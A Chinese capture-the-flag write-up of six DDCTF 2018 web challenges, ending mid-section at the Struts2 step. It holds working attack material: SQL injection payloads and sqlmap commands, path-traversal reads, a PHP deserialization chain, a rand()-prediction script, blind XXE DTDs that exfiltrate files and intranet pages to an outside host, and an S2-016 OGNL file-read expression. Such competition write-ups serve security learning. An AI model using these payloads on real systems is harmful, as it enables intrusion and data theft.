一. 关于DDCTF

滴滴出行第二届DDCTF高校闯关赛已经落幕,我们在此公布DDCTF2018writeup,此篇文章由本次比赛第二名HenryZhao提供。此外,比赛平台和赛题将继续开放一年,供选手们学习分享。

比赛平台地址:http://ddctf.didichuxing.com/

 

二. WEB writeup

0x01  Web 1 数据库的秘密

打开题目是限制 IP 访问,使用X-Forwarded-For欺骗,之后看到三个搜索框和一个数据表格,如图。随便执行一次搜索发现 GET 参数中会出现 sig 签名字段和 time 时间字段。

猜测存在签名,于是对源码进行分析,签名逻辑位于main.js

11

分析网页 main.js,美化后的 JavaScript 如下:

// key 位于主页 JS 中,此处不再单独截图。内容是 adrefkfweodfsdpiru var key="141144162145146153146167145157144146163144160151162165" function signGenerate(obj, key) {
    var str0 = '';
    for (i in obj) {
        if (i != 'sign') {
            str1 = '';
            str1 = i + '=' + obj[i];
            str0 += str1
        }
    }
    return hex_math_enc(str0 + key)
}; var obj = {
    id: '',
    title: '',
    author: '',
    date: '',
    time: parseInt(new Date().getTime() / 1000)
}; function submitt() {
    obj['id'] = document.getElementById('id').value;
    obj['title'] = document.getElementById('title').value;
    obj['author'] = document.getElementById('author').value;
    obj['date'] = document.getElementById('date').value;
    var sign = signGenerate(obj, key);
    document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
    document.getElementById('queryForm').submit()
} 

从 JavaScript 中可以得知,签名为特定字符串拼接后的 SHA1,构造方式为 id=title=author=date=time=adrefkfweodfsdpiru,每个等号之后连接响应字段值。另外可以看到 obj 中含有author,这个输入字段在网页上为 hidden状态,十分可疑。

wenb1-2

对于此题,我采用了使用 PHP 编写代理页面的方式,对请求进行了代理并签名。之后使用 sqlmap 等通用工具对该 PHP 页面进行注入即可。
proxy.php 代码如下:

<?php @$id = $_REQUEST['id'];
@$title = $_REQUEST['title'];
@$author = $_REQUEST['author'];
@$date = $_REQUEST['date']; $time = time(); $sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru'); $ch = curl_init(); $post = [
    'id' => $id,
    'title' => $title,
    'author' => $author,
    'date' => $date,
];
curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/KREKGJVFPYQKERQR/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: 123.232.23.245',
    ));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); $ch_out = curl_exec($ch); $ch_info = curl_getinfo($ch); $header = substr($ch_out, 0, $ch_info['header_size']); $body = substr($ch_out, $ch_info['header_size']);
http_response_code($ch_info['http_code']); //header($header); //echo $header; echo $body; 

sqlmap 一把梭,对代理 PHP 页面进行注入,注入点果然位于author,获得 flag。

sqlmap.py -u 'http://127.0.0.1/proxy.php?author=admin' --dump 

0x02  Web 2 专属链接


任意文件读取

打开网页后是一个滴滴的页面,题目中有备注链接至其他域名的链接与本次CTF无关,请不要攻击,因此只关注当前 IP 下的内容。

web2-2

web 2-1

网页图标出现了奇怪的花纹,引起注意。对应的是 HTML 中的

<link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon"> 

对 ZmF2aWNvbi5pY28= 进行 base64 解码,得到 favicon.ico,猜测存在任意文件读取。
使用二进制编辑器打开 
favicon.ico 后发现文件中多次出现 you can only download .class .xml .ico .ks files 字符串。

22

尝试下载 web.xml ,一番寻找后发现其位于../../WEB-INF/web.xml ,base64 编码后访问地址 /image/banner/Li4vLi4vV0VCLUlORi93ZWIueG1s 下载文件。

从 web.xml 中收集信息,比如 applicationContext.xml , mvc-dispatcher-servlet.xml ,com.didichuxing.ctf.listener.InitListener ,并继续下载对应的 xml 与 class 文件。
以 
com.didichuxing.ctf.listener.InitListener 为例,class 文件位于../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class

如此循环收集信息+下载的过程。

xml

最终下载文件列表如下:

.
├── class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_HomeController.class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_user_FlagController.class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_controller_user_StaticController.class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_dao_FlagDao.class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_listener_InitListener.class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_model_Flag.class │   ├── _.._WEB-INF_classes_com_didichuxing_ctf_service_FlagService.class │   └── _.._WEB-INF_classes_com_didichuxing_ctf_util_StringUtil.class └── xml    ├── _.._WEB-INF_applicationContext.xml    ├── _.._WEB-INF_classes_mapper_FlagMapper.xml    ├── _.._WEB-INF_classes_mybatis_config.xml    ├── _.._WEB-INF_classes_sdl.ks    ├── _.._WEB-INF_mvc-dispatcher-servlet.xml    └── _.._WEB-INF_web.xml 2 directories, 14 files 

源码审计

使用 jd-gui 审计 class 文件,

listener/InitListener.class
初始化生成 flag,加密flag,Hmac email 并存储。代码中可看到 email 为 HmacSHA256 ,密钥为 sdl welcome you !
蓝色框内为加密 flag 相关代码,红色框内为 Hmac email 相关代码。

a

controller/user/FlagController.class
用 email Hmac 获取加密后的 flag ,使用了 getFlagByEmail 函数,测试 flag 使用了 exist 函数。

a2

根据以上两个函数于 _.._WEB-INF_classes_mapper_FlagMapper.xml 中进行分析。
可以发现存储于 email 列的内容为 Hmac email,当我们验证 flag 是查找的是 originFlag,也就是原始 flag。

<resultMap id="flag" type="com.didichuxing.ctf.model.Flag">    <id column="id" property="id"/>    <result column="email" property="email"/>    <result column="flag" property="flag"/> </resultMap> <insert id="save">    INSERT INTO t_flag VALUES (#{id}, #{email}, #{flag}, #{originFlag},#{uuid},#{originEmail}) </insert> ...... <select id="getByEmail" resultMap="flag">    SELECT *
    FROM t_flag
    WHERE email = #{email} </select> ...... <select id="exist" resultType="java.lang.Integer">    SELECT *
    FROM t_flag
    WHERE originFlag = #{originFlag} </select> 

使用 email 的 Hmac从 /flag/getflag/ 获取 flag 密文,相关计算方法可从初始化的 class 中获得。
此处我使用了 java 实现相关逻辑,算得 Hmac email 为 
456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6,相关代码见后。

curl -X POST http://116.85.48.102:5050/flag/getflag/456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6 -v *   Trying 116.85.48.102... * Connected to 116.85.48.102 (116.85.48.102) port 5050 (#0) > POST /flag/getflag/456FE65F08FB5F3559DCABA7AE1A3209BA029096A168456BCDA37D77A6B766B6 HTTP/1.1 > Host: 116.85.48.102:5050 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 < Content-Type: text/plain;charset=ISO-8859-1 < Content-Length: 529 < Date: Sat, 21 Apr 2018 04:22:30 GMT < Encrypted flag : 15441B42CF86F094971ECC8F36DBDA16390DF0699E2A3DE21A903D4E48DB4D8671A12F60B5B4CAE6391496A555C70E4D168C79EEB891507D3341244384F38500BBAC3CD464F13C8C42EBE2441BFFA38152B1CB4B3B8135402E3EF0F017F270829B3EAFF84FAE7E6DFFB6C41ED28A5AD666526F590BD611FAC0D4C71C85B8B0C774A98D03518B442C85B24F6EDD65A34BCF8A78EBF73055ABEBC7EDACFB8B6080457F1CA0517365E1B195F618FBA527799F63F452BABC4BAE3124CB451CB8632CFF36D7BA9F042EEE7D43364717AF182F82458E22B855ED4EB4ED2F913C17814563F8FC4B11513E76209B6E07C928B3EE5073BB3B1658DA3 * Connection #0 to host 116.85.48.102 left intact 

获得 flag 密文之后,再按照反编译的 class 代码进行解密。
这里有个坑,程序加密 flag 时,使用的是 私钥 ,因此我们应当使用 公钥 进行解密操作。

解密后得到DDCTF{6365053991435533423}

编写 java,计算 Hmac 与解密 flag ,代码如下:

import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.io.PrintStream; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyStore; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.security.UnrecoverableKeyException; import java.security.cert.CertificateException; import java.util.Properties; import java.util.UUID; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.Mac; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import java.security.*; public class Main {    public static void main(String[] args) {
        try {
            String email = "9221799447186232152@didichuxing.com";
            String flag_e_hex="15441B42CF86F094971ECC8F36DBDA16390DF0699E2A3DE21A903D4E48DB4D8671A12F60B5B4CAE6391496A555C70E4D168C79EEB891507D3341244384F38500BBAC3CD464F13C8C42EBE2441BFFA38152B1CB4B3B8135402E3EF0F017F270829B3EAFF84FAE7E6DFFB6C41ED28A5AD666526F590BD611FAC0D4C71C85B8B0C774A98D03518B442C85B24F6EDD65A34BCF8A78EBF73055ABEBC7EDACFB8B6080457F1CA0517365E1B195F618FBA527799F63F452BABC4BAE3124CB451CB8632CFF36D7BA9F042EEE7D43364717AF182F82458E22B855ED4EB4ED2F913C17814563F8FC4B11513E76209B6E07C928B3EE5073BB3B1658DA3F6692A2FC7CE6B230";
            // Hmac email              SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");             Mac mac = Mac.getInstance("HmacSHA256");             mac.init(signingKey);             System.out.println(byte2hex(mac.doFinal(String.valueOf(email.trim()).getBytes())));             // Decrypt flag             String p = "sdlwelcomeyou";             String ksPath = "sdl.ks";             KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());             FileInputStream inputStream = new FileInputStream(ksPath);             keyStore.load(inputStream, p.toCharArray());             KeyStore.PasswordProtection keyPassword =       //Key password                     new KeyStore.PasswordProtection("sdlwelcomeyou".toCharArray());             KeyStore.PrivateKeyEntry privateKeyEntry = (KeyStore.PrivateKeyEntry) keyStore.getEntry("www.didichuxing.com", keyPassword);             java.security.cert.Certificate cert = keyStore.getCertificate("www.didichuxing.com");             // Get **public key** for decrypt             PublicKey publicKey = cert.getPublicKey();              PrivateKey privateKey = privateKeyEntry.getPrivateKey();             Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());             System.out.println(key.getAlgorithm());             Cipher cipher = Cipher.getInstance(key.getAlgorithm());             // 2 for decrypt             cipher.init(2, publicKey);              System.out.println(new String(cipher.doFinal(hex2byte(flag_e_hex))));         }         catch (KeyStoreException e) {             e.printStackTrace();         } catch (IOException e) {             e.printStackTrace();         } catch (NoSuchAlgorithmException e) {             e.printStackTrace();         } catch (CertificateException e) {             e.printStackTrace();         } catch (UnrecoverableKeyException e) {             e.printStackTrace();         } catch (NoSuchPaddingException e) {             e.printStackTrace();         } catch (InvalidKeyException e) {             e.printStackTrace();         } catch (IllegalBlockSizeException e) {             e.printStackTrace();         } catch (BadPaddingException e) {             e.printStackTrace();         } catch (UnrecoverableEntryException e) {             e.printStackTrace();         }     }     public static String byte2hex(byte[] b)     {         StringBuilder hs = new StringBuilder();         for (int n = 0; (b != null) && (n < b.length); n++) {             String stmp = Integer.toHexString(b[n] & 0xFF);             if (stmp.length() == 1)                 hs.append('0');             hs.append(stmp);         }         return hs.toString().toUpperCase();     }     public static byte[] hex2byte(String str)     {         byte[] bytes = new byte[str.length() / 2];         for (int i = 0; i < bytes.length; i++)         {             bytes[i] = (byte) Integer                     .parseInt(str.substring(2 * i, 2 * i + 2), 16);         }         return bytes;     } } 

0x03 Web 3 注入的奥妙


宽字节注入

网页注释给出了一个 Big-5 编码表的链接,故使用宽字节。关于宽字节注入我参考了这篇文章(http://www.evilclay.com/2017/07/20/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E6%B7%B1%E5%85%A5%E7%A0%94%E7%A9%B6/)。
查询 Big-5 编码表,寻找编码结尾为 5C 的字符,此处给出一个可用 payload 
%E8%B1%B9'

31

注入过程中发现字符串单次替换,例如 union users 等,手工注入读取 information_schema 获得表名与列名。
由于存在不同数据使用了不同编码导致报错,我们对查询的参数进行强制编码转换 
COLLATE utf8_general_ci

此处给出一个最终列出 router_rules 数据的 payload:

/well/getmessage/1%E8%B1%B9’ and 2=1 uniunionon select `id`,`pattern` COLLATE utf8_general_ci,`action` COLLATE utf8_general_ci from route_rules – –

32

id pattern action rulepass
1 get*/ u/well/getmessage/ u/well/getmessage/
12 get*/ u/justtry/self/ u/justtry/self/
13 post*/ u/justtry/try u/justtry/try
15 static/bootstrap/css/backup.css static/bootstrap/css/backup.zip

访问 static/bootstrap/css/backup.css 获得网站代码备份文件,开始代码审计。

PHP 反序列化

对网站源代码进行审计,发现 Controller/Justtry.php 中 try($serialize) 存在可控的反序列化,故在构造析构函数中寻找能够利用的点。
于 
Helper/Test.php 中发现调用 getflag() 且存在 $this->fl->get($user) 故推测 $fl 应为 Flag类。
题目关键代码如下:

// Controller/Justtry.php public function try($serialize) {
    unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]);
} // Helper/Test.php class Test {
    public $user_uuid;
    public $fl;
    public function __destruct()    {
        $this->getflag('ctfuser', $this->user_uuid);
    }
    public function getflag($m = 'ctfuser', $u = 'default')    {
        //TODO: check username        $user=array(
            'name' => $m,
            'id' => $u        );
        //懒了直接输出给你们了        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
} // Helper/Flag.php class Flag {
    public $sql;
    public function __construct()    {
        $this->sql=new SQL();
    }
    public function get($user)    {
        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
} // Helper/SQL.php class SQL {
    public $dbc;
    public $pdo;
} 

注意类的 命名空间 问题,如果构造的类为根路径,会导致类未初始化的错误。
我使用了 
namespace IndexHelper 方式指定了全局命名空间。

序列化字符串构造 PHP 如下:

<?php /**  * Created by PhpStorm.  * User: Henryzhao  * Date: 2018/4/14  * Time: 20:34  */ namespace IndexHelper; class Test {     public $user_uuid;     public $fl; } class Flag {     public $sql;     public function __construct()     {         $this->sql=new SQL();     } } class SQL {     public $dbc;     public $pdo; } class FLDbConnect {     protected $obj; } $a = new Test(); $a->user_uuid = '2a9597b9-954d-4cbb-a00b-687f6df00d54'; $a->fl = new Flag(); echo serialize($a).PHP_EOL; echo urlencode(serialize($a)); 

获得如下序列化字符串之后,POST 至 /justtry/try 获得 flag。

O:17:“IndexHelperTest”:2:{s:9:“user_uuid”;s:36:“2a9597b9-954d-4cbb-a00b-687f6df00d54”;s:2:“fl”;O:17:“IndexHelperFlag”:1:{s:3:“sql”;O:16:“IndexHelperSQL”:2:{s:3:“dbc”;N;s:3:“pdo”;N;}}}

0x04 Web 4 mini blockchain


题目:好题!

解法:挖矿!

根据题目描述:

  • “矿机也全部宕机”,当前算力为 0

  • “你能追回所有DDCoins”,需要追回

区块链特性:

  • 只承认当前长度最长,工作量证明最大的一条链

  • 设定难度为5,需要挖出 hash 开头为 5 个 0 的区块

流程:

  1. 从创世区块重新挖矿至区块高度最高

  2. 此时银行余额 10000

  3. 使用后门向商店转账

  4. 挖出一个新区块,确认获得钻石

  5. 从上一次银行余额为 10000 的区块开始,再次挖矿至区块高度最高

  6. 使用后门向商店转账

  7. 挖出一个新区块,确认获得钻石

  8. 访问 /flag 获得 flag

挖矿脚本如下:

#!/usr/bin/env python # -*- encoding: utf-8 -*- import hashlib, json def hash(x):     return hashlib.sha256(hashlib.md5(x).digest()).hexdigest() def hash_reducer(x, y):     return hash(hash(x)+hash(y)) EMPTY_HASH = '0'*64 def hash_block(block):     return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)]) def create_block(prev_block_hash, nonce_str, transactions):     if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')     nonce = str(nonce_str)     if len(nonce) > 128: raise Exception('the nonce is too long')     block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}     block['hash'] = hash_block(block)     return block if __name__ == '__main__':     # genesis_block_hash_web = 'bcb6c4b56055351b0bd3229a737581b412336eb9c2dd7e0ed9715584e2449609'     try:          while True:             print "Difficulty: 5.nInput last block hash:",             genesis_block_hash_web = raw_input()             for i in range(0,10000000):                 my_block = create_block(genesis_block_hash_web,str(i),[])                 if my_block['hash'].startswith('00000'):                     print json.dumps(my_block)                     break             #print json.dumps(my_block)     except Exception, e:         print str(e) 

0x05 Web 5 我的博客


rand 与 str_shuffle 预测

根据题目提示下载 www.tar.gz 获得代码备份。
根据代码我们发现需要注册时的 
identity 为 admin ,否则无法进行进一步操作,完成这个步骤需要预测 $admin

PHP 中的 str_shuffle() 依赖 rand() 进行字符串随机操作,因此结合上文,可以预测生成的 code 字符串。
参考 PHP 5.6.35 string.c L5394 的 C 语言,实现 
str_shuffle() 帮助解题。

PHP 5 中的 rand() 函数存在缺陷,可以通过 rand[i] = rand[i-31] + rand[i-3] 进行预测,网页中的 csrf token 直接暴露了完整的 rand() 结果,因此可以通过获得多次 csrf 来推测之后的结果。

// index.php if (!$_SESSION['is_admin']) {
    die('You are not admin. <br> Please <a href="login.php" rel="external nofollow" >login</a>!');
} // login.php $sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username'); $sth->execute([':username' => $username]); if ($sth->fetch()[0] === "admin") {
    $_SESSION['is_admin'] = true;
} else {
    $_SESSION['is_admin'] = false;
} // register.php if($_SERVER['REQUEST_METHOD'] === "POST")
{
    $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
    // ... ...    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
    // ... ...    if($code === $admin) {
        $identity = "admin";
    } else {
        $identity = "guest";
    }
    // ... ... } else { 
    // ... ...    <input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
    // ... ... } 

预测并注册代码如下:
php_rand(): 使用前述公式预测 rand() 结果
php_str_shuffle(): python 实现的 PHP str_shuffle() 函数。

import re import time import requests
REQ_NUM = 50 PHP_RAND_MAX = 0x7fffffff DEBUG = False rand_list = []
gen_rand_i = REQ_NUM
s = requests.Session()
url = 'http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/register.php' def php_rand():     global gen_rand_i     rand_num = (rand_list[gen_rand_i-31]+rand_list[gen_rand_i-3]) & PHP_RAND_MAX
    if DEBUG:
        print "Gen rand: " + str(gen_rand_i) + ": " + str(rand_num) + " = " + str(rand_list[gen_rand_i-31]) + " + " + str(rand_list[gen_rand_i-3])
    rand_list.append(rand_num)
    gen_rand_i += 1    return rand_num # define RAND_RANGE(__n, __min, __max, __tmax)  #    (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * (__n / (__tmax + 1.0))) def php_rand_range(rand_num, rmin, rmax, tmax):     return int(rmin + (rmax - rmin + 1.0) * (rand_num / (tmax + 1.0))) # https://github.com/php/php-src/blob/PHP-5.6.35/ext/standard/string.c#L5394 def php_str_shuffle(instr):     str_len = len(instr)     instr = list(instr)     n_elems = str_len     if n_elems <= 1:         return     n_left = n_elems     n_left -= 1     while n_left > 0:         rnd_idx = php_rand()         rnd_idx = php_rand_range(rnd_idx, 0, n_left, PHP_RAND_MAX)         if rnd_idx != n_left:             temp = instr[n_left]             instr[n_left] = instr[rnd_idx]             instr[rnd_idx] = temp         n_left -= 1     return ''.join(instr) def get_rand_from_web():     r = s.get(url)     return int(re.findall('id="csrf" value="(.*)"',r.text)[0]) def prepare_rand():     global gen_rand_i     r = s.get(url)     #print r.text     for i in range(REQ_NUM):         rand_list.append(get_rand_from_web()) def check_rand():     for i in range(10):         print str(php_rand()) + " <-> " + str(get_rand_from_web()) if __name__ == "__main__":     prepare_rand()     if DEBUG:         check_rand()         for i in range(len(rand_list)):             print str(i) + ": " + str(rand_list[i])         exit()     auth = "admin###" + php_str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')[:32]     data =  {         'csrf': str(rand_list[REQ_NUM - 1]),         'username': 'hzfinally' + auth[18:20],         'password': auth[10:18],         'code': auth     }     r = s.post(url, data)     print r.text + "n"     print "Code: " + data['code']     print "Username: " + data['username']     print "Passrowd: " + data['password'] 

多次 sprintf 导致单引号逃逸

获得管理员权限之后,对查询入口进行注入,由于使用了两次 sprintf 可构造 payload 使 ‘ 逃逸。可参考这篇文章(https://paper.seebug.org/386/)
我们可以构造一个 
%1$' 经过 addslashes 变为 %1$' 其中 %1$ 为合法的格式化输出表达式,sprintf将会吃掉 %1$ 使得单引号逃逸。

// index.php if(isset($_GET['id'])){
    $id = addslashes($_GET['id']);
    if(isset($_GET['title'])){
        $title = addslashes($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    foreach ($pdo->query($sql) as $row) {
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }
} 

最终构造注入指令如下:

sqlmap.py -u"http://116.85.39.110:5032/2ae51a1981cbbdef618d3c46af6199cb/index.php?id=1&title=Welcome!" --prefix="%1$'" --suffix=" -- -" -p title --cookie="PHPSESSID=77238cf069e52ba922d62ed27fc51179" --dump 

在 key 表中读取 fl4g DDCTF{9b7ccc1e96387b5ce079adab2fb08022}

0x06  Web 6 喝杯Java冷静下


登录

打开网页看到一个登录框,之后在注释中发现有一条 base64 ,解码后为 admin:admin_password_2333_caicaikan 获得 admin 用户名密码。

86:        </div> 87:        <!-- YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu --> 88:    </form>

61

登录后主页是四个下载链接 rest/user/getInfomation?filename=informations/readme.txt,想到任意文件读取。

62

任意文件读取

搜索 quick4j 得知这是一个开源项目,获得源代码结构,使用 wget 一把梭,全拖下来。

wget -i filelist.txt --content-disposition --header "Cookie: JSESSIONID=0D8E262608F4C24C575F8F2138653409" 

文件列表如下,已删除每行开头的 http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=

WEB-INF/classes/com/eliteams/quick4j/core/entity/DaoException.class WEB-INF/classes/com/eliteams/quick4j/core/entity/ErrorResult.class WEB-INF/classes/com/eliteams/quick4j/core/entity/JSONResult.class WEB-INF/classes/com/eliteams/quick4j/core/entity/Result.class WEB-INF/classes/com/eliteams/quick4j/core/entity/ServiceException.class WEB-INF/classes/com/eliteams/quick4j/core/entity/UserException.class WEB-INF/classes/com/eliteams/quick4j/core/feature/cache/redis/package-info.class WEB-INF/classes/com/eliteams/quick4j/core/feature/cache/redis/RedisCache.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/Dialect.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/DialectFactory.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MSDialect.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MSPageHepler.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MySql5Dialect.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/MySql5PageHepler.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/OracleDialect.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/PostgreDialect.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/dialect/PostgrePageHepler.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/Page.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/PaginationResultSetHandlerInterceptor.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/mybatis/PaginationStatementHandlerInterceptor.class WEB-INF/classes/com/eliteams/quick4j/core/feature/orm/package-info.class WEB-INF/classes/com/eliteams/quick4j/core/feature/package-info.class WEB-INF/classes/com/eliteams/quick4j/core/feature/test/TestSupport.class WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericDao.class WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericEnum.class WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericService.class WEB-INF/classes/com/eliteams/quick4j/core/generic/GenericServiceImpl.class WEB-INF/classes/com/eliteams/quick4j/core/generic/package-info.class WEB-INF/classes/com/eliteams/quick4j/core/util/ApplicationUtils.class WEB-INF/classes/com/eliteams/quick4j/core/util/CookieUtils.class WEB-INF/classes/com/eliteams/quick4j/core/util/PasswordHash.class WEB-INF/classes/com/eliteams/quick4j/web/controller/CommonController.class WEB-INF/classes/com/eliteams/quick4j/web/controller/FormController.class WEB-INF/classes/com/eliteams/quick4j/web/controller/package-info.class WEB-INF/classes/com/eliteams/quick4j/web/controller/PageController.class WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class WEB-INF/classes/com/eliteams/quick4j/web/dao/PermissionMapper.class WEB-INF/classes/com/eliteams/quick4j/web/dao/PermissionMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/dao/RoleMapper.class WEB-INF/classes/com/eliteams/quick4j/web/dao/RoleMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/dao/UserMapper.class WEB-INF/classes/com/eliteams/quick4j/web/dao/UserMapper.xml
WEB-INF/classes/com/eliteams/quick4j/web/enums/package-info.class WEB-INF/classes/com/eliteams/quick4j/web/filter/package-info.class WEB-INF/classes/com/eliteams/quick4j/web/interceptors/package-info.class WEB-INF/classes/com/eliteams/quick4j/web/model/Permission.class WEB-INF/classes/com/eliteams/quick4j/web/model/PermissionExample.class WEB-INF/classes/com/eliteams/quick4j/web/model/Role.class WEB-INF/classes/com/eliteams/quick4j/web/model/RoleExample.class WEB-INF/classes/com/eliteams/quick4j/web/model/User.class WEB-INF/classes/com/eliteams/quick4j/web/model/UserExample.class WEB-INF/classes/com/eliteams/quick4j/web/security/OperationType.class WEB-INF/classes/com/eliteams/quick4j/web/security/package-info.class WEB-INF/classes/com/eliteams/quick4j/web/security/PermissionSign.class WEB-INF/classes/com/eliteams/quick4j/web/security/Resource.class WEB-INF/classes/com/eliteams/quick4j/web/security/RoleSign.class WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class WEB-INF/classes/com/eliteams/quick4j/web/service/impl/PermissionServiceImpl.class WEB-INF/classes/com/eliteams/quick4j/web/service/impl/RoleServiceImpl.class WEB-INF/classes/com/eliteams/quick4j/web/service/impl/UserServiceImpl.class WEB-INF/classes/com/eliteams/quick4j/web/service/PermissionService.class WEB-INF/classes/com/eliteams/quick4j/web/service/RoleService.class WEB-INF/classes/com/eliteams/quick4j/web/service/UserService.class 

Super_admin

审计代码后发现 UserController.class 下有 /user/nicaicaikan_url_23333_secret 路由,可以上传 XML ,但需要 super_admin 权限,怀疑 XXE。获得提示读取 /flag/hint.txt

63

继续审计发现,security/SecurityRealm.class 中,有一段代码提示了 super_admin 的密码。

64

询问谷歌老师后获得 StackOverflow 老师的回答https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero,得知 String f5a5a608 的 hashCode 为 0.

获得用户 superadmin_hahaha_2333: f5a5a608

XXE

根据代码启用了 ExpandEntityReferences ,并且限制了提交 XML 长度为 1000 ,无回显,选择 XXE 盲打。
由于存在长度限制,因此选择使用外部 DTD 加载的方式进行攻击。发送 payload 如下:

/rest/user/nicaicaikan_url_23333_secret?xmlData=<!DOCTYPE data SYSTEM "http://111.222.333.444/stwo.dtd"><data>%26send;</data> 

构造读取文件 readfile.dtd

<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all; 

读取得到:

Flag in intranet tomcat_2 server 8080 port.

构造读取文件 tomcat2.dtd

<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all; 

读取得到:

try to visit hello.action.

构造读取文件 tomcat2h.dtd

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.222.333.444/?%file;'>">
%all; 

读取得到:

This is Struts2 Demo APP, try to read /flag/flag.txt

尝试直接使用 S2-016 命令执行 PoC cat /flag/flag.txt 文件时,提示只允许读取文件,于是构造如下 OGNL 表达式:

${ #context["xwork.MethodAccessor.denyMethodExecution"]=false #f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess") #f.setAccessible(true) #f.set(#_memberAccess,true) #w=new java.io.File("/flag/flag.txt") #a=new java.io.FileInputStream(#w) #b=new java.io.InputStreamReader(#a) #c=new java.io.BufferedReader(#b) #d=new char[60] #c.read(#d) #genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter() #genxor.println(#d) #genxor.flush() #genxor.close() } 

构造 struts2 攻击 stwo.dtd

